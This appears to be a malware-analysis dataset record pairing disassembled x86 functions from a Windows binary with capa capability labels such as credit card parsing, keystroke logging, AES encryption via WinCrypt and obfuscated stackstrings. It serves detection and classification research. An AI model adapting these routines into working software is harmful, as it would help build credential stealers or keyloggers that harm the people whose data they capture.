joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ea50
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, ecx
push edi
mov al, byte [ebx]
mov edi, edx
test al, al
je 0x1000eb30
push esi
cmp al, 0x24
je 0x1000ea9f
cmp al, 0x26
je 0x1000ea9f
cmp al, 0x2b
je 0x1000ea9f
cmp al, 0x2c
je 0x1000ea9f
cmp al, 0x2f
je 0x1000ea9f
cmp al, 0x3a
je 0x1000ea9f
cmp al, 0x3b
je 0x1000ea9f
cmp al, 0x3d
je 0x1000ea9f
cmp al, 0x3f
je 0x1000ea9f
cmp al, 0x40
je 0x1000ea9f
cmp al, 0x23
je 0x1000ea9f
cmp al, 0x20
je 0x1000ea9f
mov byte [edi], al
inc edi
jmp 0x1000eb23
movsx eax, al
push eax
lea eax, [ebp - 4]
push str.___02x
push eax
call fcn.100262ae
lea ecx, [ebp - 4]
add esp, 0xc
xor esi, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000eac0
sub ecx, edx
je 0x1000eafd
jmp 0x1000ead0
movsx eax, byte [ebp + esi - 4]
push eax
call fcn.10028893
mov byte [ebp + esi - 4], al
lea eax, [ebp - 4]
add esp, 4
inc esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000eaf0
sub eax, edx
cmp esi, eax
jb 0x1000ead0
lea ecx, [ebp - 4]
mov edx, edi
mov eax, ecx
sub edx, eax
mov al, byte [ecx]
mov byte [edx + ecx], al
lea ecx, [ecx + 1]
test al, al
jne 0x1000eb06
lea ecx, [ebp - 4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000eb18
sub ecx, edx
add edi, ecx
mov al, byte [ebx + 1]
inc ebx
test al, al
jne 0x1000ea67
pop esi
mov byte [edi], 0
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000eb40
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push eax
call esi
push 0
push ebx
mov dword [ebp - 8], eax
call esi
mov ecx, dword [ebp - 8]
mov ebx, eax
mov eax, dword [sym.imp.USER32.dll_AttachThreadInput]
cmp edi, ecx
je 0x1000eb88
push 1
push ecx
push edi
call eax
mov eax, dword [sym.imp.USER32.dll_AttachThreadInput]
cmp ebx, edi
je 0x1000eb92
push 1
push edi
push ebx
call eax
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x2000
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x2001
call esi
push 2
call dword [sym.imp.USER32.dll_LockSetForegroundWindow]
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_AllowSetForegroundWindow]
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x2001
call esi
mov eax, dword [ebp - 8]
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
cmp edi, eax
je 0x1000ebff
push 0
push eax
push edi
call esi
cmp ebx, edi
je 0x1000ec09
push 0
push edi
push ebx
call esi
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000ef60
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x100695e8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x1c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x14]
push 0xf0000000
push 0x18
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x18]
push 0
mov dword [ebp - 0x44], eax
push 0
lea eax, [ebp - 0x3c]
push eax
xor bl, bl
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1000f11f
mov eax, dword [ebp - 0x34]
mov ecx, 0x20
mov eax, dword [eax]
cmp eax, ecx
cmovb ecx, eax
push ecx
xorps xmm0, xmm0
lea eax, [ebp - 0x24]
push esi
push eax
mov dword [ebp - 0x30], 0x208
mov dword [ebp - 0x2c], 0x6610
mov dword [ebp - 0x28], 0x20
movq qword [ebp - 0x24], xmm0
movq qword [ebp - 0x1c], xmm0
movq qword [ebp - 0x14], xmm0
movq qword [ebp - 0xc], xmm0
call fcn.10026f60
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push 0x2c
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x1000f10f
push 0
lea eax, [ebp - 0x50]
push eax
push 4
push dword [ebp - 0x38]
mov dword [ebp - 0x50], 1
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x1000f101
push 0
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x34]
push eax
push 8
push dword [ebp - 0x38]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x54], 4
call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
test eax, eax
je 0x1000f101
mov eax, dword [ebp - 0x34]
shr eax, 3
push eax
push 0
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x1000f101
push dword [ebp - 0x34]
push 0
push esi
call fcn.100275b0
add esp, 0xc
push 0
push esi
push 1
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
push esi
test eax, eax
jne 0x1000f0b2
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1000f101
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [ebp - 0x48]
mov ecx, dword [esi]
cmp dword [edi], ecx
cmovb ecx, dword [edi]
push ecx
push dword [ebp - 0x4c]
push dword [ebp - 0x44]
call fcn.10026f60
mov eax, dword [esi]
add esp, 0xc
push dword [edi]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x44]
push 0
push 0
push 0
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x1000f0fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1000f101
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
mov bl, 1
mov eax, dword [ebp - 0x38]
test eax, eax
je 0x1000f10f
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, dword [ebp - 0x3c]
test eax, eax
je 0x1000f11f
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.10026aaf
mov esp, ebp
pop ebp
ret 0x18
Function at 0x100117f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10043728
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x100695e8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 4], 0
call fcn.1000ffb0
mov eax, dword [ebp + 8]
push dword [eax - 0xc]
push eax
push 1
push dword [esi + 0x34]
push dword [esi + 0x30]
push 0x80000001
call dword [0x1006c948]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push dword [esi + 0x48]
mov dword [ebp - 0x10], 0
push dword [esi + 0x44]
push 0x80000001
call dword [0x1006c948]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10011880
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x100118a0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10043758
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x100695e8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 4], 0
call fcn.1000ffb0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], 0x776f6853
mov dword [ebp - 0x15], 0x656d6f63
mov byte [ebp - 0x11], 0
mov word [ebp - 0x1a], 0x7362
mov word [ebp - 0x17], 0x6c65
mov word [ebp - 0x1c], 0x6154
mov byte [ebp - 0x18], 0x57
push dword [eax - 0xc]
push eax
push 1
push dword [esi + 0x34]
push dword [esi + 0x30]
push 0x80000001
call dword [0x1006c948]
push 4
lea eax, [ebp - 0x24]
push eax
push 4
push dword [esi + 0x3c]
mov dword [ebp - 0x24], 1
push dword [esi + 0x38]
push 0x80000001
call dword [0x1006c948]
push 4
lea eax, [ebp - 0x24]
push eax
push 4
push dword [esi + 0x40]
mov dword [ebp - 0x24], 1
push dword [esi + 0x38]
push 0x80000001
call dword [0x1006c948]
push 4
lea eax, [ebp - 0x24]
push eax
push 4
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0x38]
mov dword [ebp - 0x24], 0
push 0x80000001
call dword [0x1006c948]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x1001199e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10026aaf
mov esp, ebp
pop ebp
ret 4
Function at 0x10013d30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov eax, dword [0x100695e8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x147]
push 0
push eax
mov byte [ebp - 0x148], 0
call fcn.100275b0
add esp, 8
lea eax, [ebp - 0x40]
push eax
push ecx
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x14c], 0x104
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0
mov word [ebp - 0x38], 0x4d5c
mov dword [ebp - 0x25], 0x70784520
mov dword [ebp - 0x35], 0x736f7263
mov dword [ebp - 0x40], 0x54464f53
mov dword [ebp - 0x20], 0x7265726f
mov dword [ebp - 0x2f], 0x6e495c74
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x29], 0x74656e72
mov word [ebp - 0x3b], 0x5241
mov word [ebp - 0x2b], 0x6574
mov byte [ebp - 0x3c], 0x57
mov word [ebp - 0x31], 0x666f
mov byte [ebp - 0x36], 0x69
mov byte [ebp - 0x39], 0x45
mov byte [ebp - 0x21], 0x6c
call fcn.10014470
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10013e80
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x11], 0x6e6f69
mov dword [ebp - 0x18], 0x56637673
mov word [ebp - 0x14], 0x7265
mov byte [ebp - 0x12], 0x73
call fcn.10014380
test eax, eax
je 0x10013e6f
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x158]
mov word [ebp - 0xc], 0x6556
mov word [ebp - 9], 0x6973
mov word [ebp - 6], 0x6e
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 7], 0x6f
call fcn.10014380
mov esi, dword [ebp - 0x158]
test esi, esi
je 0x10013e86
push esi
call ebx
xor esi, esi
jmp 0x10013e86
mov esi, dword [ebp - 0x158]
push 0x10062108
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov edi, eax
test edi, edi
je 0x10013f43
xor eax, eax
mov word [ebp - 0x14b], ax
mov byte [ebp - 0x149], al
lea eax, [ebp - 0x148]
mov ecx, edi
sub ecx, eax
push ecx
push eax
lea eax, [ebp - 0x14c]
push eax
mov byte [ebp - 0x14c], 0
call fcn.10026f60
lea eax, [ebp - 0x14c]
push eax
call fcn.10027ae5
add esp, 0x10
inc edi
push 0x10062108
push edi
mov dword [ebp - 8], eax
mov dword [ebp - 0x14c], 0
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x10013f1c
sub eax, edi
push eax
lea eax, [ebp - 0x14c]
push edi
push eax
call fcn.10026f60
lea eax, [ebp - 0x14c]
push eax
call fcn.10027ae5
add esp, 0x10
xor ebx, ebx
cmp dword [ebp - 8], 0xb
setl bl
test esi, esi
je 0x10013f30
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026aaf
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x10013f4a
push esi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.10026aaf
mov esp, ebp
pop ebp
ret
Function at 0x10013f60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100434ed
mov eax, dword fs:[0]
push eax
sub esp, 0x160
mov eax, dword [0x100695e8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 4], 0
push 0x10061d60
mov dword [ebp - 0x16c], edi
mov dword [ebp - 0x168], 0
call fcn.1000b510
push 0x104
lea eax, [ebp - 0x153]
push 0
push eax
mov dword [ebp - 0x168], 1
mov byte [ebp - 0x154], 0
call fcn.100275b0
mov dword [ebp - 0x164], 0x104
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x158], 0
mov dword [ebp - 4], 1
add esp, 8
lea eax, [ebp - 0x4c]
push eax
push ecx
lea ecx, [ebp - 0x160]
mov word [ebp - 0x35], 0x6e72
mov word [ebp - 0x41], 0x7263
mov word [ebp - 0x4c], 0x4f53
mov dword [ebp - 0x49], 0x52415754
mov dword [ebp - 0x3a], 0x746e495c
mov dword [ebp - 0x32], 0x78452074
mov word [ebp - 0x44], 0x4d5c
mov dword [ebp - 0x2b], 0x726572
mov word [ebp - 0x3c], 0x7466
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x42], 0x69
mov word [ebp - 0x3f], 0x736f
mov word [ebp - 0x2e], 0x6c70
mov byte [ebp - 0x45], 0x45
mov byte [ebp - 0x4a], 0x46
mov byte [ebp - 0x3d], 0x6f
mov byte [ebp - 0x2c], 0x6f
mov byte [ebp - 0x33], 0x65
call fcn.10014470
test eax, eax
jne 0x10014116
mov byte [ebp - 0x1a], al
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x160]
mov word [ebp - 0x23], 0x6376
mov dword [ebp - 0x20], 0x69737265
mov byte [ebp - 0x21], 0x56
mov byte [ebp - 0x24], 0x73
mov word [ebp - 0x1c], 0x6e6f
call fcn.10014380
test eax, eax
je 0x100140f1
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x17], 0x69737265
mov word [ebp - 0x12], 0x6e
mov byte [ebp - 0x18], 0x56
mov byte [ebp - 0x13], 0x6f
call fcn.10014380
mov esi, dword [ebp - 0x160]
test esi, esi
je 0x1001410a
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov dword [ebp - 0x160], esi
mov dword [ebp - 0x15c], 0
jmp 0x1001411c
mov esi, dword [ebp - 0x160]
push 0x10062108
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x10014147
lea eax, [ebp - 0x154]
push eax
push 0x10061d70
push edi
call fcn.1000c0d0
add esp, 0xc
test esi, esi
je 0x10014152
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10026aaf
mov esp, ebp
pop ebp
ret
Function at 0x10014380
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi]
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
push esi
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
mov dword [edi], 0
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100143e1
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x100143bd
cmp eax, 2
jne 0x100143cf
mov eax, dword [ebp + 0x10]
test esi, esi
je 0x100143dd
test eax, eax
je 0x100143da
cmp byte [eax + esi - 1], 0
je 0x100143dd
pop edi
mov eax, 0xd
pop esi
pop ebp
ret 0xc
mov byte [esi], 0
mov dword [edi], eax
xor eax, eax
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x10014730
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100695e8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x10]
push eax
mov edi, ecx
xor esi, esi
mov dword [ebp - 0xd], 0x642e6c6c
mov word [ebp - 0xf], 0x6474
mov word [ebp - 8], 0x6c
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 9], 0x6c
mov dword [ebp - 0x24], 0x6554744e
mov dword [ebp - 0x1b], 0x72506574
mov dword [ebp - 0x15], 0x737365
mov dword [ebp - 0x20], 0x6e696d72
mov byte [ebp - 0x1c], 0x61
mov word [ebp - 0x17], 0x636f
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x100147b7
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1006ca64], eax
test eax, eax
je 0x100147b7
push esi
push edi
call eax
mov ecx, 1
test eax, eax
cmove esi, ecx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10026aaf
mov esp, ebp
pop ebp
ret
Function at 0x10014bb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10043b58
mov eax, dword fs:[0]
push eax
sub esp, 0x150
mov eax, dword [0x100695e8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x17], 0x6c6c64
mov dword [ebp - 0x1b], 0x2e32336c
mov dword [ebp - 0x1f], 0x656e7265
mov byte [ebp - 0x20], 0x4b
mov dword [ebp - 0x26], 0x747865
mov word [ebp - 0x29], 0x3233
mov dword [ebp - 0x2e], 0x7365636f
mov byte [ebp - 0x2a], 0x73
mov byte [ebp - 0x27], 0x4e
mov word [ebp - 0x30], 0x7250
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x10014c48
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x10014c73
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10014c6c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor eax, eax
jmp 0x10014d19
push 0
push 2
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x158], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x10014ce8
lea eax, [ebp - 0x158]
push eax
push esi
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x10014ce1
lea esp, [esp]
lea eax, [ebp - 0x134]
push eax
push dword [ebp + 8]
call fcn.10028b87
add esp, 8
test eax, eax
je 0x10014cd7
lea eax, [ebp - 0x158]
push eax
push esi
call edi
cmp eax, 1
je 0x10014cb0
jmp 0x10014ce1
mov dword [ebp - 0x15c], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 4], 0xffffffff
mov esi, dword [ebp + 8]
add esi, 0xfffffff0
or ecx, 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10014d13
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10026aaf
mov esp, ebp
pop ebp
ret
Function at 0x10016a60
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get number of processors
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x10041e19
mov eax, dword fs:[0]
push eax
sub esp, 0x270
mov eax, dword [0x100695e8]
xor eax, esp
mov dword [esp + 0x26c], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x100695e8]
xor eax, esp
push eax
lea eax, [esp + 0x284]
mov dword fs:[0], eax
mov esi, dword [esp + 0x294]
mov dword [esp + 0x20], 0
mov ebp, 0x74
xor eax, eax
lea edx, [ebp - 2]
mov ecx, 0x5c
mov word [esp + 0x7e], ax
mov eax, dword [0x10069550]
mov word [esp + 0x74], dx
lea edx, [ebp - 0xb]
mov word [esp + 0x64], cx
mov ecx, 0x10069550
mov dword [esp + 0x28c], 0
mov dword [esp + 0x24], esi
mov dword [esp + 0x5c], 0x6f0073
mov dword [esp + 0x7a], 0x790068
mov dword [esp + 0x6a], 0x700079
mov dword [esp + 0x44], 0x540046
mov dword [esp + 0x60], 0x740066
mov dword [esp + 0x4c], 0x450052
mov dword [esp + 0x40], 0x4f0053
mov dword [esp + 0x48], 0x410057
mov dword [esp + 0x70], 0x67006f
mov dword [esp + 0x76], 0x700061
mov dword [esp + 0x66], 0x720043
mov dword [esp + 0x50], 0x4d005c
mov dword [esp + 0x58], 0x6f0072
mov dword [esp + 0x54], 0x630069
mov word [esp + 0x6e], bp
mov dword [esp + 0x32], 0x65006e
mov dword [esp + 0x28], 0x61004d
mov dword [esp + 0x2c], 0x680063
mov dword [esp + 0x3c], 0x64
mov dword [esp + 0x36], 0x750047
mov word [esp + 0x3a], dx
mov word [esp + 0x30], dx
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
push 0x1ff
lea eax, [esp + 0x85]
push 0
push eax
mov dword [esp + 0x298], 0
mov dword [esp + 0x2c], 1
mov byte [esp + 0x8c], 0
call fcn.100275b0
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
lea eax, [esp + 0x4c]
push eax
push 0x80000002
mov dword [esp + 0x2c], 0x200
call ebx
test eax, eax
jne 0x10016c74
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x24]
push eax
push 0
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x28]
call edi
test eax, eax
je 0x10016c5b
lea eax, [esp + 0x14]
push eax
push 0x20119
push 0
lea eax, [esp + 0x4c]
push eax
push 0x80000002
call ebx
test eax, eax
jne 0x10016c74
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x24]
push eax
push 0
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x28]
call edi
test eax, eax
jne 0x10016c74
lea eax, [esp + 0x80]
push eax
mov ecx, esi
call fcn.10015900
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [esp + 0x284]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x26c]
xor ecx, esp
call fcn.10026aaf
add esp, 0x27c
ret
Function at 0x10017050
Capabilities:
Contain obfuscated stackstrings
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x10041ea7
mov eax, dword fs:[0]
push eax
sub esp, 0x65c
mov eax, dword [0x100695e8]
xor eax, esp
mov dword [esp + 0x658], eax
push esi
push edi
mov eax, dword [0x100695e8]
xor eax, esp
push eax
lea eax, [esp + 0x668]
mov dword fs:[0], eax
mov esi, dword [esp + 0x678]
push 0x10062040
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0
call fcn.1000b510
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x674], 0
mov word [esp + 0x2a], 0x2e32
mov word [esp + 0x27], 0x6c6c
mov word [esp + 0x24], 0x6853
mov word [esp + 0x2d], 0x6c6c
mov byte [esp + 0x2f], 0
mov byte [esp + 0x29], 0x33
mov byte [esp + 0x26], 0x65
mov byte [esp + 0x2c], 0x64
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10017220
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x48], 0x576874
mov word [esp + 0x42], 0x646c
mov dword [esp + 0x34], 0x65474853
mov word [esp + 0x3f], 0x466c
mov dword [esp + 0x38], 0x65705374
mov word [esp + 0x45], 0x5072
mov word [esp + 0x3c], 0x6963
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x47], 0x61
mov byte [esp + 0x3e], 0x61
mov byte [esp + 0x41], 0x6f
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10017220
xor eax, eax
push 0x208
push eax
mov word [esp + 0x460], ax
lea eax, [esp + 0x462]
push eax
call fcn.100275b0
xor eax, eax
push 0x208
push eax
mov word [esp + 0x260], ax
lea eax, [esp + 0x262]
push eax
call fcn.100275b0
xor eax, eax
push 0x206
push eax
mov word [esp + 0x64], ax
lea eax, [esp + 0x66]
push eax
mov dword [esp + 0x34], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
call fcn.100275b0
add esp, 0x24
lea eax, [esp + 0x44]
push 0
push 0x25
push eax
push 0
call edi
xor eax, eax
mov word [esp + 0x4a], ax
push 0x105
lea eax, [esp + 0x250]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x20]
push eax
push 0x105
lea eax, [esp + 0x470]
push eax
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x10017220
push dword [esp + 0x10]
lea eax, [esp + 0x10]
push 0x100575ac
push eax
call fcn.1000c0d0
add esp, 0xc
push dword [esp + 0xc]
mov ecx, esi
call fcn.1001a790
mov edi, dword [esp + 0xc]
add edi, 0xfffffff0
mov dword [esp + 0x670], 0xffffffff
lea eax, [edi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10017254
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, esi
mov ecx, dword [esp + 0x668]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x658]
xor ecx, esp
call fcn.10026aaf
add esp, 0x668
ret